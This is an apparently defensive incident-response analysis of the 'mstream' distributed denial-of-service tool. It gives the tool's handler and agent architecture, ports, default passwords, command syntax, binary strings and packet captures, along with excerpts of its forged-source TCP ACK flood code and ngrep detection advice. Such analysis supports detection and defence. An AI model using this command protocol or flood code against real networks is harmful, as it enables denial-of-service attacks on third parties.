COMMAND

    mstream

SYSTEMS AFFECTED

    DoS (what will say almost all known systems)

PROBLEM

    Dave  Dittrich  made  following  analyses  of  the  the  "mstream"
    distributed denial  of service  attack tool.   Actually, following
    people  were  involved:   David  Dittrich,  George  Weaver,   Sven
    Dietrich and Neil Long.

    The following is an analysis of "mstream", a distributed denial of
    service  (DDoS)  attack  tool,  based   on  the  source  code   of
    "stream2.c", a classic point-to-point DoS attack tool.  There  are
    currently  seven  major  code  bases  of  recognized  DDoS   tools
    witnessed in use "in the wild" for executing DDoS attacks:

        - trinoo
        - Tribe Flood Network (TFN)
        - Tribe Flood Network 2000 (tfn2k)
        - stacheldraht/stacheldrahtV4
        - stacheldraht v2.666
        - shaft
        - mstream

    mstream  is  more  primitive  than  any  of  the other DDoS tools.
    Examination  of  reverse  engineered  and  recovered C source code
    reveals  the  program  to  be  in  early  development stages, with
    numerous bugs and an incomplete  feature set compared with any  of
    the other listed tools.   The effectiveness of the  stream/stream2
    attack itself, however, means that it will still be disruptive  to
    the  victim  (and  agent)  networks  even  with  an attack network
    consisting of only a hand full of agents.

    The reader is advised that modification of the source code can and
    would change any of the details of this analysis, such as prompts,
    passwords,  commands,  TCP/UDP  port  numbers, or supported attack
    methods,  signatures,  and  features.   In  fact,  the  values  of
    communication  ports  have  already  been  seen  to differ between
    published and "in the  wild" code.  The  handler/agent terminology
    used in this analysis was developed at the CERT Distributed System
    Intruder Tools workshop held in November 1999, and will be used in
    this analysis.   It is highly  recommended that the  CERT workshop
    report  be  read  first,  as  well  as  background  and supporting
    information on other DDoS tools.

    An  mstream  agent  was  discovered  in  late  April  2000  on   a
    compromised Linux system at a  major university.  This system  was
    identified to be flooding  packets using forged source  addresses,
    targeted  at  over  a  dozen  IP  addresses.  Since RFC 2267 style
    egress filtering was employed on this network, and all 32 bits  of
    the source addresses were  forged, only an extremely  small number
    of attack  packets (matching  the internal  network blocks)  could
    have  managed  to  leave  the  agent's  network.  The traffic did,
    however,  cause  the  router  (which  served 18 subnets) to become
    non-responsive.  This  means that sites  that do egress  filtering
    may  still  suffer  from  these  attacks  themselves,  even if the
    intended  "victim"  receives  fewer  packets  than the attacker(s)
    intended.   The lesson  here is  that there  is no  "quick fix" to
    DDoS in  the form  of simple  technical filtering  solutions. [The
    router  manufacturer  was  briefed  and  is  currently  working on
    identifying the cause and fixes.]

    Another side-effect of taking  egress filtering down one  level to
    that of internal  subnets is that  rejected packets will  not make
    it  past  the  router  doing  the  filtering,  so  the  effects of
    bandwidth consumption or router disruption will not be felt  above
    the level of the router doing the filtering (or being  saturated).
    This means  a border  router based  IDS (e.g.,  net flows), or one
    outside your borders on a DMZ or upstream ISP's network, will  not
    identify the  attempted attacks.   Unless you  are monitoring  the
    routers themselves, only user complaints  would tip you off to  an
    attack originating from your network.   It also means that  packet
    level analysis  is made  more difficult,  as it  must be  done *in
    front* of the router doing  the filtering in order to  capture all
    packets.   This  puts  an  added  burden  on  network engineers or
    incident  responders  to  do  packet  level  dumping, on site in a
    router closet, in order to know with a high degree of  reliability
    what is going on.

    A major problem in forensic  analysis of these attacks --  whether
    successful or blocked by egress filters -- is having policies  and
    procedures in place to facilitate packet level logging.  At  least
    one site that was a victim  of early February 2000 DoS attacks  on
    eCommerce sites was  not prepared for  this kind of  analysis, and
    to this  day is  not aware  of what  attack tool  was used against
    them.  They  only knew their  routers were crashing  and relied on
    their  upstream  provider  to  determine  how  to block packets to
    restore  throughput.   This  results  in  a  major  roadblock   to
    investigation  by  law  enforcement,  who  have  been   criticized
    heavily  by  some  for  their  slow  response (it is a non-trivial
    problem to perform an investigation  of a DoS or DDoS  attack with
    nothing but router or browser response behavioral observations  to
    go on.)  A description of the details of the attack on Yahoo!  was
    published on Packet Storm Security's web site, but not many  other
    details were available.

    Unlike the high volume mass intrusions witnessed with trinoo, TFN,
    and stacheldraht in 1999, this particular mstream network  appears
    to be in  the very early  stages of code  development and to  have
    been set up  by hand (on  both handler and  agent systems) with  a
    slightly modified Linux rootkit version 4 to conceal the  presence
    of the intruder's  activity.  For  a description of  intrusion and
    concealment on an agent system, see Appendix D.  For a description
    of intrusion and concealment on a handler system, see Appendix E.

    The network: client(s)-->handler(s)-->agent(s)-->victim(s)
    ==========================================================
    The mstream network, like trinoo and  shaft, is made up of one  or
    more handlers ("master.c") and a large set of agents ("server.c").
    Attacker to handler communication  is at present unencrypted  over
    TCP, with handler <-> agent communication unencrypted over UDP.

    An mstream network would look like this:

                          +----------+           +----------+
                          | attacker |           | attacker |
                          +----------+           +----------+
                               |                      |
                . . . --+------+---------------+------+----------------+-- . . .
                        |                      |                       |
                        |                      |                       |
                  +-----------+          +-----------+           +-----------+
                  |  handler  |          |  handler  |           |  handler  |
                  +-----------+          +-----------+           +-----------+
                        |                      |                       |
                        |                      |                       |
        . . . ---+------+-----+------------+---+--------+------------+-+-- . . .
                 |            |            |            |            |
                 |            |            |            |            |
             +-------+    +-------+    +-------+    +-------+    +-------+
             | agent |    | agent |    | agent |    | agent |    | agent |
             +-------+    +-------+    +-------+    +-------+    +-------+

    Communication
    =============
    Attacker to handler(s): 6723/tcp  (in published source)
                            15104/tcp ("in the wild")
                            12754/tcp (in recovered source)
    Agent to Handler(s):    9325/udp  (in published source)
                            6838/udp  ("in the wild")
    Handler to agent(s):    7983/udp  (in published source)
                            10498/udp ("in the wild")

    Remote control of  the mstream handler  is accomplished via  a TCP
    connection to port 6723/tcp  (or 15104/tcp, or 12754/tcp,  or...).
    The handler expects commands to be contained entirely in the  data
    payload  of  a  single  TCP  packet,  not  broken  up character by
    character in a  stream.  This  means that "telnet"  cannot be used
    to control a handler, but  instead some other client program  must
    be used to buffer the command line before sending (e.g., a special
    command shell or port redirector, netcat [19], etc. -- no  special
    client was included in the source below).

    The traffic  over this  connection is  not encrypted  (although it
    has  been  shown  in  stacheldraht  that  adding  a Blowfish block
    cipher  is  not  difficult.)   Command  lines  are space separated
    argument lists.

    Like trinoo, communication between the handler(s) and agent(s)  is
    accomplished using UDP datagrams.  Agent commands are slash  ("/")
    separated  argument  lists,  with  some multi-item arguments being
    colon (":") separated lists.

    [It is believed that  the difference between attacker  <-> handler
    communication  port  numbers  between  "lsof"  output  on a system
    running an active  handler and that  in the recovered  source code
    is due to version differences.  That is, the recovered source  may
    have been  an older  version than  the source  used to compile the
    handler actually running at the  time.  Both ports are  identified
    here, although they are trivial  to change to something else  (and
    were found to be different in the published source]).]

    The examined code limits the maximum number of connected attackers
    to 3.  This may be  a protective measure, or possibly a  redundant
    access measure in case one or more systems used as  intermediaries
    by the attacker are discovered or otherwise taken out of service.

    After  connecting,  the  user  must  supply  the  proper  password
    (default is "N7%diApf!"  in the recovered  code, and "sex"  in the
    published  code).   If  the  proper  password  is  not  given, all
    currently  connected  users  are  notified  of the attempt and the
    connection  is  dropped.   If  the  proper  password is given, all
    currently connected users are informed of the new session and  the
    user is presented with a "> " prompt.

    Handler Commands
    ================
    The handler commands  consist of up  to 3 space-delimited  fields.
    If  a  connected  attacker  does  not  enter  a command within 420
    seconds, the connection is terminated.   (It is assumed "420"  was
    not chosen simply because 7 minutes is an ideal timeout value. ;)

    The handler command set is:

        help

    Prints the following:

        Available commands:
        stream		stream attack !
        servers		Prints all known servers.
        ping		ping all servers.
        who		tells you the ips of the people logged in
        mstream		lets you stream more than one ip at a time

    servers
    - List all currently known agents.   The agents may or may not  be
      active.   This is  the list  of all  agents that  have sent  the
      "newserver" command to the handler at some point in time.

    who
    - Shows the currently connected users.

    ping
    - Identify remaining active agents.   Sends the command "ping"  to
      all known  agents and  reports to  the connected  users as  each
      "pong" reply is received.

    stream <hostname> <seconds>
    - Begin  an  attack  against  a  single  host,  for the  specified
      duration.  The  handler resolves the  hostname to an  IP address
      and sends  the command  "mstream/arg1:arg1/arg2" to  all agents,
      where "arg1"  is the  resolved hosts'  IP address  twice with  a
      colon between  (this simplifies  argument parsing  in the agent)
      and "arg2" is the duration in seconds.

    mstream <ip1:ip2:ip3:...> <seconds>
    - Begin an attack against multiple IP addresses, for the specified
      duration.  The handler sends the command "mstream/arg1/arg2"  to
      all  agents,  where  "arg1"  is  the  list of colon separated IP
      addresses, and  "arg2" is  the duration  in seconds.   Also  for
      simplicity, in this  command, there is  no host name  resolution
      (i.e., you MUST specify all  targets by a properly formed  colon
      separated list of IP addresses)

    quit
    - Terminates the  attacker's connection to  the handler.   It also
      reports the termination to the connected users.

    Agent Commands
    ==============
    The handler  communicates to  agents using  string based  commands
    in  the  data  portion  of  UDP  packets.   These commands are not
    encrypted (although this, too, can easily be changed.)  There  are
    only three agent commands currently.  Commands are either a simple
    string, or a slash ("/") separated command and argument list.

    ping
    - Replies to IP address that sent this packet with "pong".

    stream/IP/seconds
    - Starts  streaming  at  IP  address  for  specified  duration  in
      seconds.

    mstream/IP1[:IP2[:IPN]]/seconds
    - Starts  streaming  at  all  of  the  colon separated list of  IP
      addresses for specified duration in seconds.

    Even though the agent "in the wild" had two options for  accepting
    DDoS commands, namely "stream"  and "mstream" as in  the published
    source, only the mstream command  is used in the handler  to agent
    protocol.  A  simple  "stream  192.168.0.100  10"  command  to the
    handler sends the powerful command

        mstream/192.168.0.100:192.168.0.100/10

    to  the  agent,  when  in  fact a simple "stream/192.168.0.100/10"
    should be generated.   It is not clear  why this was done,  but it
    does look like simple algorithms are used for command parsing,  so
    this might just indicate a "quick and dirty" development process.

    Password protection
    ===================
    The handler is password protected, to prevent trivial takeover  of
    the network handler.  The password is not encrypted, just a string
    that is  compared against  the data  paylod of  the initial packet
    as-is.   It  should  be  explicitly  noted  here  again  that this
    program  has  a  feature  not  found  in  other  DDoS tools, which
    informs all connected  users of access,  sucessful or not,  to the
    handler(s) by competing  parties (black hat  or white hat).   Thus
    it does not  matter that you  can identify the  password string in
    the binary, since  you can't use  it without detection  (and can't
    simply  hijack  the  TCP  session,  either, because of the command
    buffering described in the Communication section.)

    There is no password protection of handler <-> agent communication
    but that isn't surprising. As was seen with trinoo, a password  in
    clear text is not much of  a defense and is trivially attacked  by
    sniffing network traffic.

    Fingerprints
    ============
    As mentioned  above, command  strings between  the handler(s)  and
    agent(s)  is  visible  in  packet  flows.   Visible strings in the
    agent (in two truncated columns to save space) are:

        ELF				    mstream
        /lib/ld-linux.so.2		    ping
        GNU				    pong
        __gmon_start__			    fork
        libc.so.6			    init.c
        random				     . . .
        getpid				    server.c
        perror				    strchr@@GLIBC_2.0
        getuid				    packet
        malloc				    getpid@@GLIBC_2.0
        recvfrom			    _DYNAMIC
        socket				    _etext
        bind				    __register_frame_info@@GLIBC_2.0
        inet_addr			    recvfrom@@GLIBC_2.0
        __deregister_frame_info		    _fp_hw
        setsockopt			    perror@@GLIBC_2.0
        rand				    fork@@GLIBC_2.0
        strncmp				    sock
        strncpy				    cksum
        sendto				    random@@GLIBC_2.0
        strtok				    _init
        fork				    malloc@@GLIBC_2.0
        memset				    getppid@@GLIBC_2.0
        srand				    sendto@@GLIBC_2.0
        getppid				    __deregister_frame_info@@GLIBC_2.0
        time				    setsockopt@@GLIBC_2.0
        htons				    time@@GLIBC_2.0
        exit				    _start
        atoi				    forkbg
        _IO_stdin_used			    strlen@@GLIBC_2.0
        __libc_start_main		    stream
        strlen				    strncmp@@GLIBC_2.0
        strchr				    inet_addr@@GLIBC_2.0
        __register_frame_info		    __bss_start
        free				    main
        GLIBC_2.0			    __libc_start_main@@GLIBC_2.0
        PTRh				    data_start
        QVh0				    bind@@GLIBC_2.0
        Ph%				    getuid@@GLIBC_2.0
        PhG				    _fini
        WVS				    s_in
        [^_				    srand@@GLIBC_2.0
        WVS				    nlstr
        j(j				    exit@@GLIBC_2.0
        j h				    atoi@@GLIBC_2.0
        j(h				    _edata
        j h				    in_cksum
        j(h				    _GLOBAL_OFFSET_TABLE_
        [^_				    free@@GLIBC_2.0
        131.247.208.191			    _end
        129.79.20.202			    htons@@GLIBC_2.0
        socket				    send2master
        bind				    memset@@GLIBC_2.0
        setsockopt			    strncpy@@GLIBC_2.0
        newserver			    _IO_stdin_used
        stream				    strtok@@GLIBC_2.0
        __data_start			    __gmon_start__
        socket@@GLIBC_2.0                   rand@@GLIBC_2.0

    Visible strings in the handler are:

        % strings -n 3 master  		    Available commands:
        socket				    stream
        bind				    stream attack !
        listen				    servers
        setsockopt			    Prints all known servers.
        fcntl				    ping
        You're too idle !		    ping all servers.
        Connection from %s		    who
        newserver			    tells you the ips of the people log
        New server on %s.		    mstream
        pong				    lets you stream more than one ip at
        Got pong number %d from %s	    who
        %s has disconnected (not auth'd): % Currently Online:
        Invalid password from %s.	    Socket number %d
        Password accepted for connection fr [%s]
        Lost connection to %s: %s	    ping
        stream				    Pinging all servers.
        Usage: stream <hostname> <seconds>  mstream
        Unable to resolve %s.		    Usage: mstream <ip1:ip2:ip3:...> <s
        stream/%s/%s			    MStreaming %s for %s seconds.
        Streaming %s for %s seconds.	    mstream/%s/%s
        quit				    fork
        %s has disconnected.		    Forked into background, pid %d
        servers				    Caught SIGHUP, ignoring.
        Server file doesn't exist, creating Caught SIGINT, ignoring.
        The following ips are known servers Segmentation Violation, Exiting cle
        help				    Caught unknown signal, This should
        commands

    The agent (named "rpc.wall" on  this system -- this same  name was
    used for the handler as well) is seen with "lsof" as follows:

        COMMAND    PID     USER   FD   TYPE     DEVICE    SIZE      NODE NAME
        rpc.wall   588     root  cwd    DIR        3,2    1024         2 /
        rpc.wall   588     root  rtd    DIR        3,2    1024         2 /
        rpc.wall   588     root  txt    REG        3,3   17016     15765 /usr/bin/rpc.wall
        rpc.wall   588     root  mem    REG        3,2  342206     30771 /lib/ld-2.1.1.so
        rpc.wall   588     root  mem    REG        3,2 4016683     30789 /lib/libc-2.1.1.so
        rpc.wall   588     root    0u   CHR        5,1              4952 /dev/console
        rpc.wall   588     root    1w  FIFO        0,0               646 pipe
        rpc.wall   588     root    2w  FIFO        0,0               647 pipe
        rpc.wall   588     root    3u  IPv4        656               UDP *:10498
        rpc.wall   588     root    4u  IPv4        657               UDP *:1044
        rpc.wall   588     root    5u  IPv4        658               UDP *:1045
        rpc.wall   588     root    6u   raw                        30219 00000000:00FF->00000000:0000 st=07
        rpc.wall   588     root    7r  FIFO        0,0               648 pipe
        rpc.wall   588     root    8u   raw                        30241 00000000:00FF->00000000:0000 st=07
        rpc.wall   588     root    9u   CHR        5,1              4952 /dev/console
        rpc.wall   588     root   10u  IPv4      30244               UDP *:1051
        rpc.wall   588     root   11u   raw                        30245 00000000:00FF->00000000:0000 st=07
        rpc.wall   588     root   21w  FIFO        0,0               648 pipe

    Bugs in the source  code for both handler  and agent result in  an
    increasing number  of raw  sockets and  UDP sockets  in the  agent
    (three each are were witnessed  on this agent), and an  increasing
    number  of  open  file  handles  and  UDP  sockets  in the handler
    (hundreds  were  shown  by  Andrew  Korty).   [This is no doubt an
    indication that  mstream is  in the  early development  stages, so
    this signature should not be  counted on to identify a  handler or
    agent running on a system.]

    When an agent first starts  up, it sends a "newserver"  command to
    the list of default handlers  compiled into it, as seen  here with
    tcpdump:

        00:04:38.530000 192.168.0.20.1081 > 192.168.0.100.6838: udp 9
        0x0000   4500 0025 ef75 0000 4011 098a c0a8 0014 E..%.u..@.......
        0x0010   c0a8 0064 0439 1ab6 0011 2b63 6e65 7773 ...d.9....+cnews
        0x0020   6572 7665 7200 0000 0000 0000 0000      erver.........

    If a  rootkit is  in place  (as it  was on  both handler and agent
    systems), you cannot trust the standard operating system  commands
    to  show  you  the  running  handler  or  agent,  or their network
    connections.  The main lesson to be learned from rootkits is  that
    a  large  percentage  of  Unix  system  administrators will NOT be
    skilled  enough  to  get  around  rootkits.   This  means a couple
    things.

    First,  and  fundamentally,  intruders  will  tend to have an even
    greater advantage  over unskilled  system administrators.   It  is
    becoming ever more important that systems administrators --  Unix,
    NT, whatever -- have training as  a primary task, not a luxury  or
    burden to be avoided.   The moment of a  security incident is  NOT
    the proper  time to  catch up  on months  of missed  learning, and
    causes undue pressure to take shortcuts to get the system back  up
    quickly (usually making things MUCH worse).

    Second, incident response and  forensic investigation may be  made
    more difficult, if not  impossible, as the simple  "solution" that
    the unskilled Unix administrator will  take is to give up  an just
    re-install  the  operating  system.   This  ill-advised  choice of
    action destroys  any evidence  that may  exist on  the system  and
    sets the  system up  for a  subsequent intrusion  because the same
    security precautions they  did not take  before the incident  will
    usually  not  be  taken  this  time  either.   All too often, this
    action is taken without  first seeking advice and  before incident
    response teams  are able  to notify  the administrator  and assist
    them in taking the correct  steps.  All system administrators  are
    urged to take the time now to prepare to deal with rootkits.

    As mentioned  above, if  an agent  receives a  UDP packet  on port
    10498/udp, containing the string  "ping" as its data  payload (and
    if it is  not actively streaming  at the time),  it will reply  to
    the sending  system with  a UDP  packet on  port 6838/udp with the
    string "pong" as its data  payload. (The trailing zeroes are  just
    a tcpdump artifact.  The payload is clearly 4 bytes.)

        00:05:16.457239 192.168.0.100.65364 > 192.168.0.20.10498: udp 5
        0x0000   4500 0021 f412 0000 4011 04f1 c0a8 0064 E..!....@......d
        0x0010   c0a8 0014 ff54 2902 000d 6ce3 7069 6e67 .....T)...l.ping
        0x0020   0a                                             .

        00:05:16.458214 192.168.0.20.1083 > 192.168.0.100.6838: udp 4
        0x0000   4500 0020 ef8c 0000 4011 0978 c0a8 0014 E.......@..x....
        0x0010   c0a8 0064 043b 1ab6 000c 8045 706f 6e67 ...d.;.....Epong
        0x0020   0000 0000 0000 0000 0000 0000 0000       ..............

    This  sequence  allows  signature  matching  with  programs   like
    "ngrep",  "snort"  (see  below  for  snort rules), or scanning for
    idle agents using "rid" (see below for a RID template).

    The ngrep command string to detect these packets would be:

        # ngrep "p[oi]ng" udp port 6838 or udp port 10498

    (You will  need to  tailor this  command, or  add the  other ports
    listed above from  the published code,  to decrease the  chance of
    false negatives.)

    Attack packets  have a  fixed size  of 40  bytes per packet, which
    may be  on purpose  to evade  large packet  triggers that exist on
    some IDSs.

    The stream2.c attack floods the victim with TCP ACK packets, using
    forged source addresses  generated by random()  (i.e., any or  all
    of the  four octets  will occasionally  be zero)  and incrementing
    source port and sequence numbers, as seen in this code snippet:

         . . .
            for(i=0;;++i) {
            cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
               ++packet.ip.ip_id;
               ++packet.tcp.th_sport;
               ++packet.tcp.th_seq;

               if (!dstport)
                  s_in.sin_port = packet.tcp.th_dport = rand();
         . . .

    During an attack, the following packet signature would be observed
    (as seen by tcpdump using a recovered agent binary):

        01:39:24.701083 192.168.0.2.65527 > 192.168.0.20.10498: [bad udp cksum 3100!]
        udp 24 (ttl 64, id 886)
        0x0000   4500 0034 0376 0000 4011 f5dc c0a8 0002 E..4.v..@.......
        0x0010   c0a8 0014 fff7 2902 0020 556c 7374 7265 ......)...Ulstre
        0x0020   616d 2f31 3932 2e31 3638 2e30 2e31 3030 am/192.168.0.100
        0x0030   2f31 300a                                      /10.

        01:40:10.132724 192.168.0.2.65526 > 192.168.0.20.10498: [bad udp cksum 3100!]
        udp 24 (ttl 64, id 930)
        0x0000   4500 0034 03a2 0000 4011 f5b0 c0a8 0002 E..4....@.......
        0x0010   c0a8 0014 fff6 2902 0020 556d 7374 7265 ......)...Umstre
        0x0020   616d 2f31 3932 2e31 3638 2e30 2e31 3030 am/192.168.0.100
        0x0030   2f31 300a                                      /10.

        01:41:23.674796 192.168.0.2.65525 > 192.168.0.20.10498: [bad udp cksum 4a00!]
        udp 49 (ttl 64, id 1031)
        0x0000   4500 004d 0407 0000 4011 f532 c0a8 0002 E..M....@..2....
        0x0010   c0a8 0014 fff5 2902 0039 a9b4 6d73 7472 ......)..9..mstr
        0x0020   6561 6d2f 3139 322e 3136 382e 302e 313a eam/192.168.0.1:
        0x0030   3139 322e 3136 382e 302e 3130 303a 3139 192.168.0.100:19
        0x0040   322e 3136 382e 302e 322f 3130 0a        2.168.0.2/10.

        01:41:23.675771 arp who-has 192.168.0.1 tell 192.168.0.20
        0x0000   0001 0800 0604 0001 0010 5a99 6544 c0a8 ..........Z.eD..
        0x0010   0014 0000 0000 0000 c0a8 0001 0000 0000 ................
        0x0020   0000 0000 0000 0000 0000 0000 0000      ..............

        01:41:23.675772 arp who-has 192.168.0.100 tell 192.168.0.20
        0x0000   0001 0800 0604 0001 0010 5a99 6544 c0a8 ..........Z.eD..
        0x0010   0014 0000 0000 0000 c0a8 0064 0000 0000 ...........d....
        0x0020   0000 0000 0000 0000 0000 0000 0000      ..............

        01:41:23.675773 77.172.43.85.38444 > 192.168.0.2.26296: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 50237)
        0x0000   4508 0028 c43d 0000 ff06 bdde 4dac 2b55 E..(.=......M.+U
        0x0010   c0a8 0002 962c 66b8 ea97 d237 0000 0000 .....,f....7....
        0x0020   5010 4000 7c74 0000 0000 0000 0000      P.@.|t........

        01:41:23.675774 88.148.222.45.39212 > 192.168.0.2.10342: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 51005)
        0x0000   4508 0028 c73d 0000 ff06 fd1d 5894 de2d E..(.=......X..-
        0x0010   c0a8 0002 992c 2866 ed97 d237 0000 0000 .....,(f...7....
        0x0020   5010 4000 f705 0000 0000 0000 0000      P.@...........

        01:41:23.675775 0.18.219.113.39980 > 192.168.0.2.41622: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 51773)
        0x0000   4508 0028 ca3d 0000 ff06 555c 0012 db71 E..(.=....U\...q
        0x0010   c0a8 0002 9c2c a296 f097 d237 0000 0000 .....,.....7....
        0x0020   5010 4000 d213 0000 0000 0000 0000      P.@...........

        01:41:23.675776 121.161.140.109.40748 > 192.168.0.2.16749: .  [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 52541)
        0x0000   4508 0028 cd3d 0000 ff06 27d1 79a1 8c6d E..(.=....'.y..m
        0x0010   c0a8 0002 9f2c 416d f397 d237 0000 0000 .....,Am...7....
        0x0020   5010 4000 02b2 0000 0000 0000 0000      P.@...........

        01:41:23.675777 79.238.213.72.41516 > 192.168.0.2.46276: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 53309)
        0x0000   4508 0028 d03d 0000 ff06 05a9 4fee d548 E..(.=......O..H
        0x0010   c0a8 0002 a22c b4c4 f697 d237 0000 0000 .....,.....7....
        0x0020   5010 4000 6a32 0000 0000 0000 0000      P.@.j2........

        01:41:23.675778 104.24.203.64.42284 > 192.168.0.2.61623: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 54077)
        0x0000   4508 0028 d33d 0000 ff06 f486 6818 cb40 E..(.=......h..@
        0x0010   c0a8 0002 a52c f0b7 f997 d237 0000 0000 .....,.....7....
        0x0020   5010 4000 1a1d 0000 0000 0000 0000      P.@...........

        01:41:23.675779 37.60.73.50.43052 > 192.168.0.2.51311: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 54845)
        0x0000   4508 0028 d63d 0000 ff06 b671 253c 4932 E..(.=.....q%<I2
        0x0010   c0a8 0002 a82c c86f fc97 d237 0000 0000 .....,.o...7....
        0x0020   5010 4000 0150 0000 0000 0000 0000      P.@..P........

        01:41:23.675780 142.14.73.40.43820 > 192.168.0.2.8979: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 55613)
        0x0000   4508 0028 d93d 0000 ff06 4aa9 8e0e 4928 E..(.=....J...I(
        0x0010   c0a8 0002 ab2c 2313 ff97 d237 0000 0000 .....,#....7....
        0x0020   5010 4000 37e4 0000 0000 0000 0000      P.@.7.........

        01:41:23.676748 144.19.212.69.44588 > 192.168.0.2.51668: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 56381)
        0x0000   4508 0028 dc3d 0000 ff06 ba86 9013 d445 E..(.=.........E
        0x0010   c0a8 0002 ae2c c9d4 0298 d237 0000 0000 .....,.....7....
        0x0020   5010 4000 fdff 0000 0000 0000 0000      P.@...........

        01:41:23.676749 155.176.45.2.45356 > 192.168.0.2.32793: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 57149)
        0x0000   4508 0028 df3d 0000 ff06 532d 9bb0 2d02 E..(.=....S-..-.
        0x0010   c0a8 0002 b12c 8019 0598 d237 0000 0000 .....,.....7....
        0x0020   5010 4000 dd61 0000 0000 0000 0000      P.@..a........

        01:41:23.676750 10.98.211.13.46124 > 192.168.0.2.1995: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 57917)
        0x0000   4508 0028 e23d 0000 ff06 3b70 0a62 d30d E..(.=....;p.b..
        0x0010   c0a8 0002 b42c 07cb 0898 d237 0000 0000 .....,.....7....
        0x0020   5010 4000 3af3 0000 0000 0000 0000      P.@.:.........

        01:41:23.676751 214.235.187.89.46892 > 192.168.0.2.14172: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 58685)
        0x0000   4508 0028 e53d 0000 ff06 839a d6eb bb59 E..(.=.........Y
        0x0010   c0a8 0002 b72c 375c 0b98 d237 0000 0000 .....,7\...7....
        0x0020   5010 4000 508c 0000 0000 0000 0000      P.@.P.........

        01:41:23.676752 90.193.127.8.47660 > 192.168.0.2.64812: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 59453)
        0x0000   4508 0028 e83d 0000 ff06 3916 5ac1 7f08 E..(.=....9.Z...
        0x0010   c0a8 0002 ba2c fd2c 0e98 d237 0000 0000 .....,.,...7....
        0x0020   5010 4000 3d37 0000 0000 0000 0000      P.@.=7........

        01:41:23.676753 160.176.42.60.48428 > 192.168.0.2.17432: . [tcp sum ok]
        ack 0 win 16384 [tos 0x8] (ttl 255, id 60221)
        0x0000   4508 0028 eb3d 0000 ff06 44f3 a0b0 2a3c E..(.=....D...*<
        0x0010   c0a8 0002 bd2c 4418 1198 d237 0000 0000 .....,D....7....
        0x0020   5010 4000 ff28 0000 0000 0000 0000      P.@..(........

    An  attack  (only  packets  including  "0" octets are shown) would
    similarly be seen with Cisco Net Flows like this:

        % grep "[ \.]0[ \.(]" ddos-000415
        Apr 15 04:12:08 tcp 82.0.151.5(29497) -> 192.168.10.5(27072), 1 packet
        Apr 15 04:12:18 tcp 207.0.149.32(21893) -> 192.168.10.5(3913), 1 packet
        Apr 15 04:12:33 tcp 0.147.151.82(10473) -> 10.4.152.237(2810), 1 packet
        Apr 15 04:13:39 tcp 60.0.33.36(41079) -> 10.4.152.237(31754), 1 packet
        Apr 15 04:14:03 tcp 103.140.148.0(4247) -> 10.4.152.237(29689), 1 packet
        Apr 15 04:14:15 tcp 214.1.99.0(46714) -> 10.4.152.237(22524), 1 packet
        Apr 15 04:15:11 tcp 10.148.60.0(12276) -> 192.168.10.5(31122), 1 packet
        Apr 15 04:15:20 tcp 0.112.67.108(4550) -> 192.168.10.5(63787), 1 packet
        Apr 15 04:15:33 tcp 13.0.16.2(39092) -> 10.4.152.237(57998), 1 packet
         . . .
        Apr 15 06:45:24 tcp 18.167.171.0(54104) -> 10.200.5.8(32779), 1 packet
        Apr 15 06:45:52 tcp 0.23.15.38(45621) -> 10.200.5.8(20780), 1 packet
        Apr 15 06:46:14 tcp 0.12.109.77(38670) -> 10.200.5.8(47776), 1 packet
        Apr 15 07:19:12 tcp 199.120.0.72(64912) -> 10.4.152.237(45151), 1 packet
        Apr 15 07:27:37 tcp 0.28.232.21(52533) -> 10.4.152.237(338), 1 packet
        Apr 15 07:28:13 tcp 99.61.233.0(20951) -> 10.4.152.237(58427), 1 packet
        Apr 15 07:31:23 tcp 195.0.3.111(17193) -> 10.4.152.237(14601), 1 packet
        Apr 15 07:32:19 tcp 61.108.245.0(24309) -> 10.4.152.237(32809), 1 packet

    It should also be noted  that some of the forged  source addresses
    are  broadcast   addresses,  multicast   addresses,  or    network
    addresses, which  can have  ramifications if  packets are directed
    back to the flooding systems.

    Analysis of the de-compiled agent source code shows the  stream2.c
    attack is altered slightly  to randomize more header  fields, with
    some  static  values  that  can  be  noted  when analyzing network
    traffic:

          packet.ip.ip_id = rand();
          . . .
          packet.tcp.th_win = htons(16384);
          . . .
          packet.tcp.th_seq = random();
          . . .
          packet.tcp.th_sport = rand();
          packet.tcp.th_dport = rand();
          . . .
          while (time(0) <= endtime) {
            if (floodtype != 0) {
              i = 0;
              while (arg4[i] != NULL) { /* until list exhausted */
                if (strchr(arg4[i],'.') != NULL) { /* valid ip */
                  packet.ip.ip_dst.s_addr = inet_addr(arg4[i]);
                  cksum.pseudo.daddr = inet_addr(arg4[i]);
                  s_sin.sin_addr.s_addr = inet_addr(arg4[i]);

                  cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
                  packet.ip.ip_id++;
                  packet.tcp.th_sport++;
                  packet.tcp.th_seq++;

                  s_in.sin_port = packet.tcp.th_dport = rand();
          . . .
                 }
              }
            }
          }

    Weaknesses
    ==========
    Control communication (attacker <-> handler and handler <-> agent)
    is not  encrypted, and  is thus  subject to  session hijacking and
    third-party control, respectively.  Agents do not authenticate the
    source  of  commands,  so  you  can  easily  use the "ping"/"pong"
    feature to detect agents that are not currently streaming.

    In fact, "pong" is the only response sent back to the handler, and
    "newserver"  is  only  sent  to  handler(s) when the program first
    starts.  (The  installation of the  agent described in  Appendix D
    causes it to  be run after  each boot.   This would mean  a set of
    "newserver" packets could be  detected at this point,  although it
    is not  recommended that  rebooting be  used as  the first step in
    verifying an agent installation.  It is better to follow the  more
    thorough forensic analysis techniques detailed in Appendices D and
    E to ensure as little evidence as possible is deleted or altered.)

    The agent will segmentation fault upon receiving a badly formatted
    command,  e.g.   "stream  foo  bar".  It  is conceivable that such
    fault generation can disable agents, but they will most likely get
    restarted at the next reboot of the host.

